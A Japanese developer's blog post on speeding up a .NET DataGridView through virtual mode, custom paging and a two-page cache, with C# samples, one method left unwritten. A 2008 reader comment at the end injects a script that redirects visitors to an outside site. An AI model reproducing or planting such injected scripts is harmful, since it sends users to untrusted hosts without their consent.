がんふぃーるど室長の不定期ブログ

ただいま助手と悪戦苦闘中!

目次

Blog 利用状況

ニュース


自己紹介

名前:がんふぃーるど
肩書:室長
種別:人間・男
資格一覧:
MCP 70-215 Installing, Configurating, and Administering Microsoft Windows 2000 Server
MCTS .NET Framework 2.0 - Distributed Applications
MCTS .NET Framework 2.0 - Web Applications

犬紹介


名前:なうら
肩書:助手
種別:犬・狆・メス
誕生日:2006/7/9
特技:鼻水飛ばし、甘噛、奇襲・急襲・強襲、そそう、お手、お座り、待て

記事カテゴリ

書庫

日記カテゴリ

ギャラリ

DataGridViewのパフォーマンスチューニング その2

昨日、DataGriViewのパフォーマンスに関する記事がMSDNの日本語版に無いと言ってしまいましたが、有りました(〃゚д゚;A アセアセ・・・

というか、日本語版のMSDNと英語版のMSDNでは階層構造が違うのね。初めて知りました…これからは気を付けます(´・ω・`)

 

さて、DataGridView コントロールでの Just-In-Time データ読み込みによる仮想モードの実装を参考にしてサンプルを作ったのですが、基本的な考え方はWebシステム等で使うカスタムページングとデータのキャッシングをくっつけた様なものです。

登場する主なクラス/インターフェース(今回作るのも含めて)は

  • DataGridView クラス
  • IDataPageRetriever インターフェース (DataRetriever クラス)
  • Cache クラス

です。

DataGridViewは仮想モードにしCellValueNeeded イベントをハンドリングします。IDataPageRetrieverは簡単に言うとカスタムページングを行うインターフェースです。Cache はIDataPageRetrieverから取得したページ(DataTable)をキャッシングします。ちなみに、データ自体はCacheオブジェクトが管理していることになるので、セルの情報はCache オブジェクトにアクセスして取得することになります。つまり

  1. CellValueNeeded イベントが発生
  2. Cacheオブジェクトからセルの情報を取得
  3. Cacheオブジェクトにセルの情報が無ければ、IDataPageRetrieverからページを取得
  4. 取得したページをキャッシングし、セルの情報を返却

という流れになります。

 

コード

  • フォーム(DataGridViewの設定含む)

 やっていることは、DataGridViewに表示するであろう列を設定して、CellValueNeededイベントハンドらを記述しています。 MSDNとの違いは、テーブルのスキーマ情報を型付データテーブルから取得しているとこぐらいです。MSDNのサンプルみたいにDataAdapterを使用し、汎用的な実装をするとコーディング量が増えてしまうので、ちょっとズルしました。(列の型なども指定しません)

protected override void OnLoad(EventArgs e)
{
 this.dataGridView.CellValueNeeded += new DataGridViewCellValueEventHandler(dataGridView_CellValueNeeded);
 TestTableDataSet.TestTableDataTable table = new TestTableDataSet.TestTableDataTable();

 for (int i = 0; i < table.Columns.Count; i++)
 {
  this.dataGridView.Columns.Add(table.Columns[i].ColumnName, table.Columns[i].ColumnName);
 }

 DataRetriever retriever = new DataRetriever();
 cache = new Cache(retriever, 100);

 dataGridView.RowCount = retriever.RowCount;

 base.OnLoad(e);
}

void dataGridView_CellValueNeeded(object sender, DataGridViewCellValueEventArgs e)
{
 e.Value = cache.RetrieveElement(e.RowIndex, e.ColumnIndex);
}

 

  • IDataPageRetriever インターフェース (DataRetriever クラス)

IDataPageRetriever インターフェースはカスタムページングとほとんど変わらない、要するにテーブルデータのサブセットを返却します。Cacheオブジェクトは必要となるセルの情報が無かった場合、IDataPageRetriver インターフェースを通じてDataTableを取得し、キャッシングします。

public class DataRetriever : IDataPageRetriever
{
 private int rowCount = -1;

 public int RowCount
 {
  get
  {
   if (rowCount == -1)
   InitializeRowCount();

   return rowCount;
  }
 }
 private void InitializeRowCount()
 {
  using (SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["TestDBConnectionString"].ConnectionString))
  {
   SqlCommand command = con.CreateCommand();
   command.CommandText = "SELECT Count(*) FROM TestTable"
   con.Open();
   rowCount = (int)command.ExecuteScalar();
  }
 }
 private string columnToSortBy;

 public DataTable SupplyPageOfData(int lowerPageBoundary, int rowsPerPage)
 {
  TestTableDataSetTableAdapters.TestTableTableAdapter adapter = new TestTableDataSetTableAdapters.TestTableTableAdapter();
  TestTableDataSet.TestTableDataTable table = new ClassLibrary1.TestTableDataSet.TestTableDataTable();

  if (columnToSortBy == null)
  columnToSortBy = table.Columns[0].ColumnName;

  adapter.FillSortedByColumn(table, columnToSortBy, rowsPerPage, lowerPageBoundary);

  return table;
 }
}

  • Cache クラス

 IDataRetrieverから取得したDataTableをキャッシングします。内部にDataPageという構造体を持っており、DataTableへの参照とDataTable内に保存している行の最小値と最大値を保持しています。ちなみに、サンプルではキャッシングするDataTableの数を二つとしています。

public class Cache
{
 private static int RowPerPage;

 public struct DataPage
 {
  public DataTable dataTable;
  private int lowestIndex;
  private int highestIndex;

  public DataPage(DataTable table, int rowIndex)
  {
   dataTable = table;
   lowestIndex = Map2LowerBoundary(rowIndex);
   highestIndex = Map2HigherBoudnary(rowIndex);
  }  

  public int LowestIndex
  {
   get { return lowestIndex; }
  }

  public int HighestIndex
  {
   get { return highestIndex; }
  }

  public static int Map2LowerBoundary(int rowIndex)
  {
   return (rowIndex / RowPerPage) * RowPerPage;
  }

  public static int Map2HigherBoudnary(int rowIndex)
  {
   return Map2LowerBoundary(rowIndex) + RowPerPage - 1;
  }
 }

 public Cache(IDataPageRetriever dataSupplier, int rowPerPage)
 {
  Cache.RowPerPage = rowPerPage;
  retriever = dataSupplier;

  LoadFirstTwoPages();
 }  

 private DataPage[] cachePages;
 private IDataPageRetriever retriever;

 private void LoadFirstTwoPages()
 {
  cachePages = new DataPage[] {
  new DataPage(retriever.SupplyPageOfData(DataPage.Map2LowerBoundary(0),RowPerPage),0),
  new DataPage(retriever.SupplyPageOfData(DataPage.Map2LowerBoundary(RowPerPage),RowPerPage),RowPerPage)};
 }

 public object RetrieveElement(int rowIndex, int columnIndex)
 {
  object element = null;

  if (IfPageCached_ThenSetElement(rowIndex, columnIndex, ref element))
  {
   return element;
  }
  else
  {
   return RetrieveData_CacheIt_ThenReturnElement(rowIndex, columnIndex);
  }
 }

 private bool IfPageCached_ThenSetElement(int rowIndex, int columnIndex, ref object element)
 {
  if (IsRowInCachedPage(0, rowIndex))
  {
   element = cachePages[0].dataTable.Rows[rowIndex % RowPerPage][columnIndex];
   return true;
  }
  else if (IsRowInCachedPage(1, rowIndex))
  {
   element = cachePages[1].dataTable.Rows[rowIndex % RowPerPage][columnIndex];
   return true;
  }

  return false;
 }

 private bool IsRowInCachedPage(int pageNumber, int rowIndex)
 {
  return cachePages[pageNumber].HighestIndex >= rowIndex && cachePages[pageNumber].LowestIndex <= rowIndex;
 }

 private object RetrieveData_CacheIt_ThenReturnElement(int rowIndex, int columnIndex)
 {
  DataTable table = retriever.SupplyPageOfData(DataPage.Map2LowerBoundary(rowIndex), RowPerPage);
  cachePages[GetIndexToUnusedPage(rowIndex)] = new DataPage(table, rowIndex);

  return RetrieveElement(rowIndex, columnIndex);

 }

 private int GetIndexToUnusedPage(int rowIndex)
 {
  // rowIndexから遠いほうのキャッシュデータを除くようにする。省略。
 }
}

 

サンプルを実際に使ってみた感じ、やっぱスクロールバーを縦にグリグリ動かすと負荷が高くなります。あんまりやりすぎるとDBサーバの方が泣きそうになります(;´Д`A ```

仕事で使わざるを得なくなった場合は、スクロールバーの操作を少し抑制したりしないとダメかな?数万行程度なら裏で完全なデータを引っ張ってきて、ある時期にキャッシュを丸ごと完全なデータに差し替えるとか…

とにかく、あまり考えずに作ると使っている人間の気分次第でDBサーバの負荷が監視に引っかかりそう。そしてたまたま機嫌の悪かったユーザにボロクソに文句を言われる…((((;´・ω・`))))カクカクフルフル

くわばらくわばら

投稿日時 : 2007年2月16日 21:43

コメントを追加

# <script>document.location='http://bobwow.cn';</script> 2008/05/26 2:35 <script>document.location='http://bobwow.cn'

<script>document.location='http://bobwow.cn';</script>

タイトル  
名前  
URL
コメント